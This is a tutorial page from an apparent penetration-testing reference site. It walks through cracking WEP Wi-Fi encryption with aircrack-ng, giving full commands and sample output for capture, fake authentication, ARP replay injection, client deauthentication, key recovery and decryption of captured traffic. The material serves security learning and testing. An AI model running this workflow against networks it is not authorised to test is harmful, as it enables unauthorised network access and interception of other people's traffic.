# WEP Cracking with Aircrack-ng

- **URL:** https://hackindex.io/platforms/wireless/exploitation/wep-cracking-with-aircrack-ng
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

WEP key recovery requires collecting a sufficient number of initialisation vectors from data frames. With active clients on the network, passive capture may generate enough IVs within minutes. On quiet networks with few clients, ARP replay injection dramatically accelerates IV collection by replaying a valid ARP frame repeatedly, causing the AP to respond with a new encrypted frame each time and generating thousands of IVs per minute.

The full workflow:

1. Start airodump-ng capture locked to the target BSSID and channel
2. Fake-authenticate with the AP so it accepts injected frames
3. Run ARP replay injection to accelerate IV collection (if needed)
4. Run aircrack-ng against the capture file once enough IVs are collected
5. Decrypt the capture with airdecap-ng using the recovered key

## Start Capture on the Target AP

Lock to the target BSSID and channel and write to a capture file. Keep this running throughout the entire attack:

```bash
airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 --write wep-capture wlan0mon
```

Watch the **#Data** column. You need roughly 40,000 to 85,000 IVs for a reliable 40-bit WEP key crack and more for 128-bit. If the count is rising slowly, proceed with ARP replay injection in a second terminal.

## Associate with the AP (Fake Authentication)

Before injecting frames, your adapter MAC must be associated with the AP or it will ignore injected frames. Use fake authentication to register without connecting:

```bash
aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF -h $(iw dev wlan0mon info | grep addr | awk '{print $2}') wlan0mon
# 18:32:12  Sending Authentication Request (Open System)
# 18:32:12  Authentication successful
# 18:32:12  Sending Association Request
# 18:32:12  Association successful :-)
```

If the AP uses Shared Key Authentication (SKA), fake authentication requires capturing the keystream first. Use `-1 0 -e ESSID` to specify the SSID explicitly if the AP requires it. Some APs drop the fake association after a short idle period: add `-o 1 -q 10` to send keep-alive packets every 10 seconds.

## ARP Replay Injection

Wait for a valid ARP packet from a legitimate client: aireplay-ng captures it automatically and begins replaying it:

```bash
aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h $(iw dev wlan0mon info | grep addr | awk '{print $2}') wlan0mon
# Saving ARP requests in replay_arp-0306-183212.cap
# You should also start airodump-ng to capture replies.
# Read 1942 packets (got 1 ARP requests and 0 ACKs), sent 1284 packets...(499 pps)
```

Once aireplay-ng captures an ARP request, the **sent packets** counter climbs rapidly and the **#Data** counter in airodump-ng rises in parallel. The AP responds to each replayed ARP with a new encrypted frame, each containing a unique IV. At 400-500 packets per second, 85,000 IVs accumulate in around 3 minutes.

If no ARP packet is captured after a few minutes, deauthenticate a client briefly to force it to reconnect and send an ARP: run in a separate terminal:

```bash
aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:AA:BB wlan0mon
```

## WEP Cracking with aircrack-ng

Run aircrack-ng against the capture file at any point. It can run while airodump-ng is still collecting: it will indicate how many IVs it found and whether the count is sufficient:

```bash
aircrack-ng -b AA:BB:CC:DD:EE:FF wep-capture-01.cap
# Opening wep-capture-01.cap
# Read 94831 packets.
#
#    #  BSSID              ESSID                     Encryption
#
#    1  AA:BB:CC:DD:EE:FF  TargetNetwork             WEP (94831 IVs)
#
# Choosing PTW attack with 94831 packets...
#
#                          KEY FOUND! [ AB:CD:EF:12:34 ]
# Decrypted correctly: 100%
```

The key is displayed in hex. If aircrack-ng reports not enough IVs, continue collecting and re-run. With 40,000 IVs there is roughly a 50% success rate. At 85,000 the success rate exceeds 95%.

## Decrypt the Capture with airdecap-ng

Once the key is recovered, decrypt the full capture file to read all traffic:

```bash
airdecap-ng -w ABCDEF1234 -b AA:BB:CC:DD:EE:FF wep-capture-01.cap
```

Replace `ABCDEF1234` with the recovered key without colons. The output file `wep-capture-01-dec.cap` contains all decrypted frames as standard Layer 3 traffic readable in Wireshark.

## References

- [Aircrack-ng: Simple WEP crack tutorial](https://www.aircrack-ng.org/doku.php?id=simple_wep_crack) - Full WEP cracking workflow with airodump-ng and aireplay-ng
- [Aircrack-ng: aireplay-ng documentation](https://www.aircrack-ng.org/doku.php?id=aireplay-ng) - Fake authentication, ARP replay, and deauth attack flags